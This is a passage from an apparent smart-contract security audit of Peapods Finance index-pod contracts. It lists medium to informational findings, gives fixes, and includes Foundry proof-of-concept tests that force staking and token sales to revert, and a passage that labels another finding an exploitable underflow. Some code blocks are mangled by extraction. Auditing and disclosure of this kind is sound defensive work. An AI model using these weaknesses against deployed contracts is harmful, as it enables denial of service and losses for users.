During deployment of pod, user gets to choose the `PAIRED_LP_TOKEN` (while the protocol preferred token is DAI) that means for a pod consisting of ETH indexes (WETH, STETH, RETH), it can be possible to create a ETH based token as a `PAIRED_LP_TOKEN`. But if the pool between `PAIRED_LP_TOKEN` and `rewardsToken` doesn't exist then `TokenRewards.depositFromPairedLpToken()` will always revert due to condition.

```
uint160 _rewardsSqrtPriceX96 = V3_TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(_pool);
```

1 In absence of v3 pool, staking will be paused or DDOS.

```
    function test_stake_with_no_v3_pool() public {
        // seed tokens
        deal(WETH, alice, 100e18);
        deal(WBTC, alice, 50e8);

        // setup approvals for bond
        vm.startPrank(alice);
        IERC20(WETH).approve(address(index), type(uint256).max);
        IERC20(WBTC).approve(address(index), type(uint256).max);
        index.bond(WETH, 10e18);
        vm.stopPrank();



        console.log("Alice WBTC after bond:", IERC20(WBTC).balanceOf(alice));
        console.log("Alice WETH after bond:", IERC20(WETH).balanceOf(alice));
        console.log("Alice indexTokens:", IERC20(index).balanceOf(alice));

        address reward = IStakingPoolToken(index.lpStakingPool()).poolRewards();
        address pairedLp = index.PAIRED_LP_TOKEN();

        IERC20(pairedLp).transfer(reward, 1);
        IERC20(pairedLp).transfer(alice, 10000); // minting some tokens for addLiquidity

        // add liquidity
        vm.startPrank(alice);
        IERC20(index).approve(address(index), type(uint256).max);
        IERC20(pairedLp).approve(address(index), type(uint256).max);

        index.addLiquidityV2(IERC20(index).balanceOf(alice) / 100, 10000, 10);
        IERC20(index).transfer(address(index), IERC20(index).totalSupply() / 10000); //
exact 1per supply

        uint amt_ = IERC20(index.V2_POOL()).balanceOf(alice);
        IERC20(index).approve(index.lpStakingPool(), amt_);
```

```
        // stake
        try IStakingPoolToken(index.lpStakingPool()).stake(alice, amt_) {
            console.log("And it worked like a charm");
        } catch {
            console.log("And it failed like a charm");
        }
        vm.stopPrank();
    }
```

1 Selling indexToken on v2 pool will revert. ```solidity function test_sell_v2_with_no_v3_pool() public { // seed tokens deal(WETH, alice, 100e18); deal(WBTC, alice, 50e8);

```
 // setup approvals for bond
 vm.startPrank(alice);
 IERC20(WETH).approve(address(index), type(uint256).max);
 IERC20(WBTC).approve(address(index), type(uint256).max);
 index.bond(WETH, 10e18);
 vm.stopPrank();


 console.log("Alice WBTC after bond:", IERC20(WBTC).balanceOf(alice));
 console.log("Alice WETH after bond:", IERC20(WETH).balanceOf(alice));
 console.log("Alice indexTokens:", IERC20(index).balanceOf(alice));

 address reward = IStakingPoolToken(index.lpStakingPool()).poolRewards();
 address pairedLp = index.PAIRED_LP_TOKEN();

 IERC20(pairedLp).transfer(reward, 1);
 IERC20(pairedLp).transfer(alice, 10000); // minting some tokens for addLiquidity

 // add liquidity
 vm.startPrank(alice);
 IERC20(index).approve(address(index), type(uint256).max);
 IERC20(pairedLp).approve(address(index), type(uint256).max);

 index.addLiquidityV2(IERC20(index).balanceOf(alice) / 100, 10000, 10);
 IERC20(index).transfer(address(index), IERC20(index).totalSupply() / 10000); //
exact 1per supply

 // Now consider this like sell on uniswap
 try IERC20(index).transfer(index.V2_POOL(), IERC20(index).balanceOf(alice)) {
     console.log("And it worked like a charm");
 } catch {
     console.log("And it failed like a charm");
 }
 vm.stopPrank();  }
```

Impact

Medium. In absence of uni v3 pool, it will become harder to sell indexToken on v2 open-market as `depositFromPairedLpToken()` will always revert, and staking will also be DOS.

Recommendation

Check during deployment, whether v3 pool exists or not.

Developer Response

We have made a project-level decision to only formally support several pairedLpTokens, which creators through our UI will only see these and new pods will only show in our UI if they have a supported pairedLpToken. That being said, we understand the need for a 1% UniV3 pool to exist between PAIRED_LP_TOKEN -> rewardsToken and will at the project level ensure a liquid pool exists prior to formally supporting it in the platform.

8. Medium - Underflow in `_swapForIdxToken()`

The implementation of `_swapForIdxToken()` decreases an unsigned integer variable whose value is zero, causing an underflow.

Technical Details

The [`_swapForIdxToken()`](https://github.com/peapodsfinance/contracts/blob/8bcb1c1da08017564f3f7e7bd7c54b130027607f/contracts/IndexUtils.sol#L356) function swaps native ETH for one of the index assets. This is done using UniswapV2 `swapETHForExactTokens()`: all available ETH balance is forwarded in the call and the Uniswap router will refund the excess.

To calculate the new available amount for the following swaps, `_newNativeLeft`, the implementation snapshots the ETH balance before the operation (line 371) and then subtracts the new updated balance (line 386).

```solidity
356:   function _swapForIdxToken(
357:     IDecentralizedIndex _indexFund,
358:     address _initToken,
359:     uint256 _initTokenAmount,
360:     address _outToken,
361:     uint256 _tokenAmtSupplyRatioX96,
362:     uint256 _nativeLeft
363:   )
364:     internal
365:     returns (
366:       uint256 _newNativeLeft,
367:       uint256 _amountBefore,
368:       uint256 _amountReceived
369:     )
370:   {
371:     uint256 _nativeBefore = address(this).balance;
372:     _amountBefore = IERC20(_outToken).balanceOf(address(this));
373:     uint256 _amountOut = _tokenAmtSupplyRatioX96 == FixedPoint96.Q96
374:       ? _indexFund.getInitialAmount(_initToken, _initTokenAmount, _outToken)
375:       : (IERC20(_outToken).balanceOf(address(_indexFund)) *
376:         _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
377:     address[] memory _path = new address[](2);
378:     _path[0] = IUniswapV2Router02(V2_ROUTER).WETH();
379:     _path[1] = _outToken;
380:     IUniswapV2Router02(V2_ROUTER).swapETHForExactTokens{ value: _nativeLeft }(
381:       _amountOut,
382:       _path,
383:       address(this),
384:       block.timestamp
385:     );
386:     _newNativeLeft -= _nativeBefore - address(this).balance;
387:     _amountReceived =
388:       IERC20(_outToken).balanceOf(address(this)) -
389:       _amountBefore;
390:   }
```

As we can see in the previous snippet, `_newNativeLeft` is being decremented by the difference of balances. This variable is a named return variable whose initial value is zero, meaning the operation will try to decrement a zero value variable. If `_nativeBefore - address(this).balance` is positive (which should be in most cases), the statement will cause an underflow.

Impact

Medium. `IndexUtils::bondWeightedFromNative()` will revert in most cases.

Recommendation

The updated amount of ETH left should be the previous amount of ETH left minus the difference in balance.

```
-   _newNativeLeft -= _nativeBefore - address(this).balance;
+   _newNativeLeft = _nativeLeft - (_nativeBefore - address(this).balance);
```

Developer Response

Resolved here

9. Medium - Burning of IDX token and partner cut should not depend on `balanceOf(V2_POOL) > 0`

The function `DecentralizedIndex._processPreSwapFeesAndSwap()` has two main jobs:

- It removes a part of the tokens and gives them to a partner (fee cut).
- It also burns some tokens. When you burn some tokens, there are fewer of them around, which can make each remaining token a bit more valuable.

Technical Details

The above condition totally depends on `balanceOf(V2_POOL) > 0`. If the pool has no liquidity, the token burning can be dodged here.

```
function _processPreSwapFeesAndSwap() internal {
  ...
  if (_bal >= _min && balanceOf(V2_POOL) > 0) {
    ...
  }
```

Impact

Medium. Right now the function checks if there's enough liquidity before doing anything, including burning tokens and taking fees for partners. This means if there's no liquidity, it won't even take out fees or burn tokens.

Recommendation

1. Do burn and fee cut, and only swap if `balanceOf(V2_POOL) > 0`. ̀diff function _processPreSwapFeesAndSwap() internal { uint256 _bal = balanceOf(address(this)); uint256 _min = totalSupply() / 10000;

- if (_bal >= _min && balanceOf(V2_POOL) > 0) {
- if (_bal >= _min) { _swapping = true; uint256 _totalAmt = _bal >= _min * 100 ? _min * 100 : _bal >= _min * 20 ? _min * 20 : _min; uint256 _burnAmt; uint256 _partnerAmt; if (fees.burn > 0) { _burnAmt = (_totalAmt * fees.burn) / DEN; _burn(address(this), _burnAmt); } if (fees.partner > 0 && partner != address(0)) { _partnerAmt = (_totalAmt * fees.partner) / DEN; _transfer(address(this), partner, _partnerAmt); }
- if(balanceOf(V2_POOL) > 0) _feeSwap(_totalAmt - _burnAmt - _partnerAmt);

  _swapping = false; } } `

1. Second would be to migrate the whole swapping logic to rewards contract, and remove it from Index contracts.

```
 function _processPreSwapFeesAndSwap() internal {
uint256 _bal = balanceOf(address(this));
uint256 _min = totalSupply() / 10000; // 0.01%
if (_bal >= _min && balanceOf(V2_POOL) > 0) {
  _swapping = true;
  uint256 _totalAmt = _bal >= _min * 100 ? _min * 100 : _bal >= _min * 20
    ? _min * 20
    : _min;
  uint256 _burnAmt;
  uint256 _partnerAmt;
  if (fees.burn > 0) {
    _burnAmt = (_totalAmt * fees.burn) / DEN;
    _burn(address(this), _burnAmt);
  }
  if (fees.partner > 0 && partner != address(0)) {
    _partnerAmt = (_totalAmt * fees.partner) / DEN;
    // @audit make it super.transfer to save gas
   super._transfer(address(this), partner, _partnerAmt);
  }
 super._transfer(address(this), _rewards, _totalAmt - _burnAmt - _partnerAmt);

if (IERC20((address(this)).balanceOf(_rewards) > 0)
  ITokenRewards(_rewards).depositFromPairedLpToken(0, 0); // migrate the swap into
the reward contract, inside `depositFromPairedLpToken`.

  _swapping = false;
}
 }
```

Developer Response

Resolved burn processing outside of liquidity check here

We are going to keep partner processing inside the swap check because the partner is entered by the pod creator, and we want to force them to incentivize or add liquidity themselves before they start receiving fees through the partner fee.

Low Findings

1. Low - Pod fails to validate token during flash loans

Flash loans in pods are allowed to be executed using arbitrary tokens.

Technical Details

The implementation of `flash()` in DecentralizedIndex.sol doesn't check if the requested token is an actual asset of the index.

This would allow flash loans of other tokens that might be present in the contract, such as the LP paired token or index tokens collected from fees.

Impact

Low. Token is not validated during flash loans.

Recommendation

Check that the given token is an asset of the index, i.e. `require(isAsset(_token))`.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/commit/0cd797f2dcf22d7c04324f9762d59139ec896826

Specifically here

2. Low - Dangerous use of deadline parameter while managing liquidity

Both `addLiquidityV2()` and `removeLiquidityV2()` hardcode `block.timestamp` as the deadline, which nullifies the purpose of having a deadline check.

Technical Details

In the implementation of these functions, the underlying Uniswap calls to add liquidity and remove liquidity are being hardcoded with a deadline argument of `block.timestamp`.

This effectively nullifies the effect of having such check, since the router will end up checking that `block.timestamp >= block.timestamp`, a condition that is always true.

Failure to provide a proper deadline value enables pending transactions to be maliciously executed at a later point. Transactions that provide an insufficient amount of gas such that they are not mined within a reasonable amount of time, can be picked by malicious actors or

MEV bots and executed later in detriment of the submitter.

Impact

Low. Transactions that manage liquidity can be maliciously executed if not mined within a reasonable amount of time.

Recommendation

Similar to slippage, let the caller specify the deadline of the operation and forward this parameter to the underlying Uniswap call.

Developer Response

Resolved by adding deadline param to all places that leverage add/remove LP code here: https://github.com/peapodsfinance/contracts/pull/23/commits/aa9aa833cb15ff27422513a86a921e798291edc3

3. Low - Prevent zero value transfers

Some ERC20 implementations revert on zero value transfers, leading to an accidental denial of service.

Technical Details

In WeightedIndex.sol, `debond()` transfers index tokens without checking if the amount is zero, which can be caused by a rounding to zero during the `_debondAmount` calculation.

Similarly, in TokenRewards.sol, `depositFromPairedLpToken()` transfers tokens to the protocol owner without checking if `_adminAmt` is zero.

Impact

Low. These ERC20 implementations are rare, plus the amounts need to be rounded down to zero.

Recommendation

Check if the amount is greater than zero before executing the transfer. This also helps save gas.

Developer Response

Resolved here and here

4. Low - Unnecessary `receive()` function in DecentralizedIndex.sol

Pods allow ETH transfers, which are donated to the protocol owner, instead of reverting the transaction.

Technical Details

The implementation of `receive()` forwards any ETH sent to the protocol owner, instead of just rejecting the transaction.

```
369:   function rescueETH() external lock {
370:     require(address(this).balance > 0, 'NOETH');
371:     _rescueETH(address(this).balance);
372:   }
373:
374:   function _rescueETH(uint256 _amount) internal {
375:     if (_amount == 0) {
376:       return;
377:     }
378:     (bool _sent, ) = Ownable(address(V3_TWAP_UTILS)).owner().call{
379:       value: _amount
380:     }('');
381:     require(_sent, 'SENT');
382:   }
383:
384:   receive() external payable {
385:     _rescueETH(msg.value);
386:   }
```

Impact

Low. Accidental ETH transfers will be donated to the protocol owner.

Recommendation

Remove the `receive()` function in DecentralizedIndex.sol. Accidental ETH transfer will be reverted. `rescueETH()` could also be removed to reduce contract size, as there are no payable functions in the contract or any derived contract.

Developer Response

Resolved here

Gas Saving Findings

1. Gas - Consider moving rewards stats off-chain

The TokenRewards.sol contract contains several variables that track different statistics which are not used within the protocol and can be moved off-chain.

Technical Details

The following storage variables can be tracked off-chain using events.

- `totalStakers`
- `rewardsDistributed`
- `rewardsDeposited`
- `rewardsDepMonthly`
- `rewards[wallet].realized`

Impact

Gas savings.

Recommendation

Remove the variables and the associated code that handles them. Track these off-chain.

Developer Response

For now, we will accept the extra gas cost and leaving these as is. Our goal is to have as much of the protocol decentralized as possible and with that we might assume a bit of extra gas with some helpful state vars to track without needing to do off-chain processing.

2. Gas - Use immutable variables

There are multiple instances of storage variables which are configured at deployment time and remain immutable during the lifecycle of the contract.

Technical Details

The following storage variables can be changed to immutable variables.

- `DecentralizedIndex::indexType`
- `DecentralizedIndex::created`
- `DecentralizedIndex::lpStakingPool`
- `DecentralizedIndex::lpRewardsToken`
- `DecentralizedIndex::fees`: only the partner fee is mutable here.
- `WeightedIndex::_totalWeights`
- `StakingPoolToken::indexFund`
- `StakingPoolToken::stakingToken`
- `StakingPoolToken::poolRewards`
- `TokenRewards::trackingToken`
- `TokenRewards::rewardsToken`

Impact

Gas savings.

Recommendation

Change the listed variables to immutable.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/5c8dc7e28e1f0fa44a88487067d098f6f1649047

3. Gas - Unnecessary indirection in ProtocolFeeRouter

Protocol fees are obtained by first fetching the router, and then querying the actual contract that contains the required values.

Technical Details

The ProtocolFeeRouter.sol contract delegates the actual fee values to the ProtocolFees.sol contract.

This creates an unnecessary indirection that adds gas costs. Changing the indirection in the router would be equivalent to just changing the fee values at the ProtocolFees.sol contract.

Impact

Gas savings.

Recommendation

Consider removing the router in favor of a single contract that returns the values.

Developer Response

The reason this is there is so 1. Protocol fees can be platform wide (i.e. across all pods) and 2. We want to have the option to potentially change the ProtocolFees CA in the future, and it's best/most scalable to be able to change the ref in a single place to protocol fees, which happens in the router.

Let us know if this makes sense and if you believe there's a better way.

4. Gas - Duplicate state between StakingPoolToken.sol and TokenRewards.sol

Both contracts implement the staking logic in the protocol and are tightly coupled. Balances in StakingPoolToken.sol are the same as shares in TokenRewards.sol.

Technical Details

Each time a user stakes in StakingPoolToken.sol they are minted staking tokens, and they are granted shares in TokenRewards.sol. Likewise, when they unstake, their tokens are burned and their shares are removed.

This means that balances and token total supply in StakingPoolToken.sol are the same as shares and total shares in TokenRewards.sol.

Impact

Gas savings.

Recommendation

Consider implementing the staking logic in a single contract. Alternatively, one contract could query the other to avoid duplicating storage.

Developer Response

For now we will take no action and accept these small gas costs with duping storage and keeping the contracts separate as they are now. While they currently are tightly coupled and duplicating storage in a couple places, we want to keep them separate as we might add extra features that would warrant this current structure ideal moving forward.

5. Gas - Use `super._transfer()` when fee is off

There are several functions which turn off the fee limitations, either by turning off `_swapAndFeeOn` variable or turning on `_swapping`.

Technical Details

In functions:

- _processPreSwapFeesAndSwap()
- addLiquidityV2()
- addLiquidityV2()
- debond()

Following code uses `_transfer` instead can be replaced with `super._transfer()`.

Impact

Gas savings.

Recommendation

```
- _transfer(address(this), partner, _partnerAmt);
+ super._transfer(address(this), partner, _partnerAmt);
```

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/aa9aa833cb15ff27422513a86a921e798291edc3

6. Gas - Unused parameters in `IndexUtils.bond()`

There is an unused memory parameter in `IndexUtils.bond()`.

Technical Details

- `_tokenIdx` memory variable in IndexUtils.bond() serves no purpose in function execution logic.

```
    uint256 _tokenIdx;
    for (uint256 _i; _i < _assets.length; _i++) {
      if (_assets[_i].token == _token) {
        _tokenIdx = _i;
      }
    }
```

- Similarly, _balsBefore variable serves no purpose in function execution.

Impact

Gas savings.

Recommendation

Remove the variables that are not used in execution logic.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/aa9aa833cb15ff27422513a86a921e798291edc3

here

7. Gas - Unnecessary refund of LP tokens in `removeLiquidityV2()`

The implementation of `removeLiquidityV2()` will try to refund any leftover of LP tokens, which are fully consumed when removing liquidity in Uniswap.

Technical Details

The Uniswap V2 router transfers all the LP tokens to the pair and fully burns liquidity tokens (see here). No unspent LP tokens will remain in the index contract.

Impact

Gas savings.

Recommendation

The LP token refund logic in `removeLiquidityV2()` can be safely removed.

```
    function removeLiquidityV2(
      uint256 _lpTokens,
      uint256 _minIdxTokens, // 0 == 100% slippage
      uint256 _minPairedLpToken // 0 == 100% slippage
    ) external override lock noSwapOrFee {
      _lpTokens = _lpTokens == 0
        ? IERC20(V2_POOL).balanceOf(_msgSender())
        : _lpTokens;
      require(_lpTokens > 0, 'LPREM');

      uint256 _balBefore = IERC20(V2_POOL).balanceOf(address(this));
      IERC20(V2_POOL).safeTransferFrom(_msgSender(), address(this), _lpTokens);
      IERC20(V2_POOL).safeIncreaseAllowance(V2_ROUTER, _lpTokens);
      IUniswapV2Router02(V2_ROUTER).removeLiquidity(
        address(this),
        PAIRED_LP_TOKEN,
        _lpTokens,
        _minIdxTokens,
        _minPairedLpToken,
        _msgSender(),
        block.timestamp
      );
-     if (IERC20(V2_POOL).balanceOf(address(this)) > _balBefore) {
-       IERC20(V2_POOL).safeTransfer(
-         _msgSender(),
-         IERC20(V2_POOL).balanceOf(address(this)) - _balBefore
-       );
```

```
-     }
      emit RemoveLiquidity(_msgSender(), _lpTokens);
    }
```

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/862bf7736b01fbaa86472da0798627236f63c7c0

Informational Findings

1. Informational - Ensure index pricing functions are not used as oracles

In WeightedIndex.sol, both `getTokenPriceUSDX96()` and `getIdxPriceUSDX96()` rely on spot prices and should not be used as oracles.

Technical Details

The implementation of `_getTokenPriceUSDX96()` calculates the index asset prices in USD (DAI) using the reserves of UniswapV2 pools, which can be easily manipulated.

Impact

Informational.

Recommendation

Document that these functions are merely informative and should not be used as on-chain oracles.

Developer Response

Confirmed. These are only UI helpers for now, and we might get rid of them eventually, however there is no use case where we will ever use these functions as oracles on chain.

2. Informational - `_tokenAmtSupplyRatioX96` is not exactly the same in IndexUtils.sol

The calculation of `_tokenAmtSupplyRatioX96` in IndexUtils.sol differs from the one in WeightIndex.sol.

Technical Details

In WeightIndex.sol the calculation of `_tokenAmtSupplyRatioX96` uses the index total supply to differentiate the initial deposit, whereas in IndexUtils.sol it uses the asset token balance in the contract (see here and here).

Impact

Informational.

Recommendation

Normalize the calculations in IndexUtils.sol.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/862bf7736b01fbaa86472da0798627236f63c7c0

3. Informational - WeightedIndex should check for token duplication

Creating a pod with `2 same tokens` will make the pod unusable.

Technical Details

When deploying a pod, the deployer can decide what tokens the pod will hold. Adding two similar tokens will make it non-serviceable.

```
    function setUp() public {
        deployer = makeAddr("deployer");
        partner = makeAddr("partner");
        alice = makeAddr("alice");
        bob = makeAddr("bob");

        IDecentralizedIndex.Fees memory fees = IDecentralizedIndex.Fees({
            burn: 0,
            bond: 0,
            debond: 0,
            buy: 0,
            sell: 0,
            partner: 0
        });

        address[] memory tokens = new address[](2);
        tokens[0] = WBTC;
        tokens[1] = WBTC;

        uint256[] memory weights = new uint256[](2);
        weights[0] = 30;
        weights[1] = 70;

        index = new WeightedIndex(
            "yAudit",
            "YAT",
            fees,
            tokens,
            weights,
            partner,
            address(new PAIRED_LP()), // new paired LP
            PEAS, // reward token
```

```
            V2_ROUTER,
            false // stake restriction
        );
    }

    function test_BondDebond() public {
        // seed tokens
        deal(WBTC, alice, 50e8);

        // setup approvals
        vm.startPrank(alice);
        IERC20(WBTC).approve(address(index), type(uint256).max);
        vm.stopPrank();

        // bond
        vm.prank(alice);
        index.bond(WBTC, 10e18);

        console.log("Alice WBTC after bond:", IERC20(WBTC).balanceOf(alice));

        // unbond
        uint256 idxBalance = index.balanceOf(alice);
        address[] memory foo;
        uint8[] memory bar;
        vm.prank(alice);
        index.debond(idxBalance, foo, bar);

        console.log("Alice WBTC after debond:", IERC20(WBTC).balanceOf(alice));
        assertEq(IERC20(WBTC).balanceOf(alice), 50e8);
    }
```

Impact

Informational.

Recommendation

Add check in constructor to ensure that no two tokens can be the same in a pod.

```
    for (uint256 _i; _i < _tokens.length; _i++) {
+     require(!_isTokenInIndex[_tokens[_i]], "already there buddy");
      ...
      indexTokens.push(
        IndexAssetInfo({
          token: _tokens[_i],
          basePriceUSDX96: 0,
          weighting: _weights[_i],
          c1: address(0),
          q1: 0 // amountsPerIdxTokenX96
        })
      );
      _totalWeights += _weights[_i];
      _fundTokenIdx[_tokens[_i]] = _i;
      _isTokenInIndex[_tokens[_i]] = true;
    }
```

Developer Response

Resolved here

4. Informational - V3Locker.sol doesn't check if the token has been transferred to the contract

The implementation of V3Locker.sol doesn't check if the UniV3 position has been transferred to the contract when the timelock is started.

Technical Details

The timelock in V3Locker.sol is started when the contract is deployed, but there is no check that the actual token is being held by the contract.

Impact

Informational.

Recommendation

Add a function that pulls the token into the contract and starts the timer.

Developer Response

Acknowledged but we are okay leaving as is for now.

Final remarks

The yAudit team conducted an extensive review of the protocol contracts focused around the weighted pods functionality, leading to multiple issues of different severity.

It is refreshing to see a protocol that embraces decentralization and doesn't rely on upgradeable contracts or trusted entities. However, this approach brings its own challenges, as observed in the fee processing logic that feeds reward distribution. Lack of slippage, highlighted in M-6, is a consequence of the difficulties in executing fair on-chain swaps as part of an automated process during the protocol's lifecycle.

A particular area of focus was pod bonding, where token amounts are calculated and shares are minted. Here, we identified the "inflation attack" in H-4, a common attack vector present in vaults, and C-1, an interesting flaw in the logic used to determine deposit amounts that could have been exploited in pods with natural re-weighting.

Another area of high complexity, though peripheral, is IndexUtils.sol, which aggregates multiple protocol steps to provide bundled functionality. Issues such as H-5 and M-8 are oversights likely stemming from the extensive implementation that is difficult to follow and reason.